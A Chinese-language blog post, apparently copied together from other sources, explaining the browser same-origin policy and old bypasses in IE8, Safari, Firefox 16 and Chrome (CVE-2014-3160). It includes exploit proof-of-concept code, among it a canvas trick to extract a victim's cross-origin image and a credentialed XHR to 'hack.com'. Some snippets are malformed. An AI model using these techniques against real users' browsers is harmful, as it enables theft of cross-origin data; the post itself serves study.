绕过同源策略
理解同源策略
imageSame Origin Policy , SOP。同源策略的含义就是对于不同的页面,如果他们的主机名、协议和端口都相同,那他们就是同一来源。否则不是。
参考链接: https://www.anquanke.com/post/id/86078
SOP和DOM
javascript以及其他协议访问DOM时,需要评估URL的三个部分: 主机名、协议和端口。如果两个站点拥有相同的主机名、协议和端口,那么就可以访问DOM。唯一的例外就是IE, 在授权DOM时只验证主机名和协议。
当根玉面下其他主机需要访问源页面的DOM时候,比如open.example.com需要通过login.example.com进行认证时,这些站点可以设置document.domain属性,允许同一域名下的其他站点访问DOM,上面例子可以将 document.domain = "example.com"
SOP与CORS
默认情况下,使用XMLHttprequest(XHR)向不同源发送请求,请求可以到达目标网站,但是SOP会阻止读取响应。为了允许XHR通信,需要设置CORS。
如下:
Access-Control-Allow-Origin: *.example.com
Access-Control-Allow-Methods: OPTIONS, GET, POST
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true
<script>
var url = 'http://hack.com/authen;
var xhr = new XMLHttpRequest()
xhr.open('GET',url,true);
xhr.withCredentials = true;
xhr.onreadystatechange = do_something();
xhr.send();
</script>
SOP与插件
理论上,如果插件来自http://example.com:80/ 那么插件只能访问http://example.com:80/。但实际中,会出现各种各样的sop绕过的情况。举一个例子。
Adobe flash提供一种管理跨域通信的机制,就是在不同源下面的网站根目录放一个crossdomain.xml文件,内容大致如下
<?xml version="1.0">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="by-content-type">
<allow-access-from domain="*.excample.com" />
</cross-domain-policy>
有了这个文件就可以在所有子域中应用相互通信。Java和Silverlight也支持crossdomain.xml. Silverlight先查找clientaccesspolicy.xml找不到再查找crossdomain.xml。
IE绕过同源策略
Internet Explorer8 Beta2 及以下版本存在sop绕过漏洞,只需要简单覆盖document对象和domain属性。
var document;
document = {};
document.domain = 'baidu.com';
alert(document.domain);
image
比较老旧,最新的可以参考这个
Safari中绕过SOP
使用file协议打开html,里面的js可以绕过同源策略
<html>
<body>
<h1> I'm a local file loaded using the file:// scheme </h1>
<script>
xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText);
}
}; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send();
</script>
</body>
</html>
firefox中绕过SOP
比较久远,在firefox16出现过。提一下。
<!Doctype html>
<script>
function poc() {
var win = window.open('https://httpsecure.org/abc/', 'newWin',
'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec(
win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
在一个你操控的源上执行上面的代码,浏览器会弹出另一个选项卡进行HTTPS验证。加载httpsecure.org/abc以及重定向到 https://httpsecure.org/ <user_uid>/lists(user_uid是你的httpsecure handle)。5秒钟之后,exec函数将触发window.location对象解析正则表达式,这会导致在警告框中显示httpsecure handle。
Chrome同源策略绕过(CVE-2014-3160)
chrome’s M36的发型版本中修复了这个漏洞,需要一定的步骤才能验证这个漏洞,原来这篇文章在bobao360上的,现在改成安全客的网址,链接已经丢失,使用google cache才访问得到。
相关文章内容如下。
通过svg导入外部的内容到画布(canvas),步骤如下
-
在恶意站点,部署恶意的SVG
-
载入外部的内容
-
简单渲染SVG
-
生成dataURL表单
poc
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<rect fill="#bbbbbb" width="500" height="300"/>
<image x="0" y="0" width="400" height="250"
xlink:href="https://victim.tld/secret/secret.jpg"/>
</svg>
但是这么做是被同源策略拒绝的
通过浏览器缓存来重置trainted 标识,相关代码如下
This exploit can be performed completely without user interaction.
The following buttons are just to help you in understanding the exploit
and how it works: To run it press "exploit step 1" button
followed by "exploit step 2"
<input type="button" value="exploit step 1" onclick="go1()">
<input type="button" value="exploit step 2" onclick="go2()">
<!-- Populates the image cache with the "secret" cross-origin image -->
<object data="exploit.svg" type="image/svg+xml"></object>
<!-- Canvas (hidden) to strip the cross-origin image into dataURL later
(can also be hidden using style="display:none" !) -->
<canvas id="canvas" width="700" height="500"/>
<script>
function importSVG(source, target) {
var ctx = target.getContext("2d");
var img = new Image();
img.src = source;
img.onload = function() {
ctx.drawImage(img,0,0);
}
}
// load the attacker's exploit.svg into the Canvas
// (note the exploit.svg itself references the victim's
// secret cross-origin image!)
function go1() {
var canvas = document.getElementById("canvas");
importSVG("exploit.svg", canvas);
}
// tries to exfiltrate the cross-origin image by converting
// the canvas into dataURL:
function go2() {
var img = canvas.toDataURL("image/png");
alert("I got the secret image here to exfiltrate stealthy: "+img);
}
</script>
image
水平有限,并没有搞懂。参考google cache:
小结
浏览器爆cve会比较多一点,但很多都只有一个编号并没有详情。一个国外不错的技术网站:https://www.brokenbrowser.com/
。内容全部搬运,自己记记看看,不喜勿喷,我技术菜还玻璃心。
网友评论